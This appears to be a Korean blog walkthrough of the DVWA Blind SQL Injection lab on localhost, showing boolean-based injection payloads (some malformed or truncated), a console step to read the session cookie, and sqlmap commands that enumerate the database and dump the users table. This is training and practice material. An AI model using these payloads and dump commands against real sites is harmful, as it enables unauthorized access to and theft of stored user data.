[DVWA] 웹 모의해킹 실습 (Blind SQL Injection)
Blind SQL Injection
이 공격 기법이 가능하면 데이터 베이스의 정보를 다 가져올 수 있기 때문에 매우 위험합니다.
검색 엔진 부분에서 많이 test하고,
결과가 true/false로 나타낼 때 Blind SQL Injection 시도를 많이 합니다.
실습 Let's get it ٩( ᐛ )و
Blind SQL Injection - Low level
How ? ? ?
DB의 Information schema -> 중요한 정보가 다 들어있음.
해커는 데이터 베이스 이름조차 모르지만 Blind SQL Injection 기법을 사용해서
DB이름 찾고 테이블 찾고 하면서 정보 다 찾아감.
아래 코드로 계속해서 아이디를 찾아가는데 ! ! !
1'and ascii(substr((select first_name from users where user_id'1')2,)1)) > 99#
_id='1'),1,1))>91#
_id='1'),1,1))>96#
_id='1'),1,1))>97# // True -> 97 = 'a'
_id='1'),1,1))>100# // True -> 100 = 'd'
.
.
.
result is admin
사람이 하나하나 찾아볼 수 없기 때문에
찾아주는 프로그램을 다운로드 합니다.
.zip file을 다운로드 해주세요 !
$ console.log(document.cookie);
↑↑↑ Console 창에 입력해주면 아래에 cookie가 뜹니다 ↑↑↑
python sqlmap.py -u "site_url?id=1&Submit=Submit" --cookie="위에서 알아낸 코드" 를 터미널에 입력해줍니다.
$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce"
$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce" --current-db
↑↑↑ 위에 명령어에서 --current-db 추가하면 db 정보가 뜹니다. ↑↑↑
$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce" -D dvwa --tables
↑↑↑ 위에 명령어에서 -D dvwa --tables 추가하면 현재 db의 데이터 정보가 뜹니다. ↑↑↑
$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce" -T users -dump
여기서 dump는 전체조회 같은 느낌으로 생각하시면 될 거 같습니다.
↑↑↑ 위에 명령어에서 -T users -dump 추가하면 현재 db의 데이터 정보가 뜹니다. ↑↑↑
Blind SQL Injection - Medium level
Blind SQL Injection - High level
high level도 low level처럼 풀면 됩니다 ! ! !
수고하셨습니다 ×͜×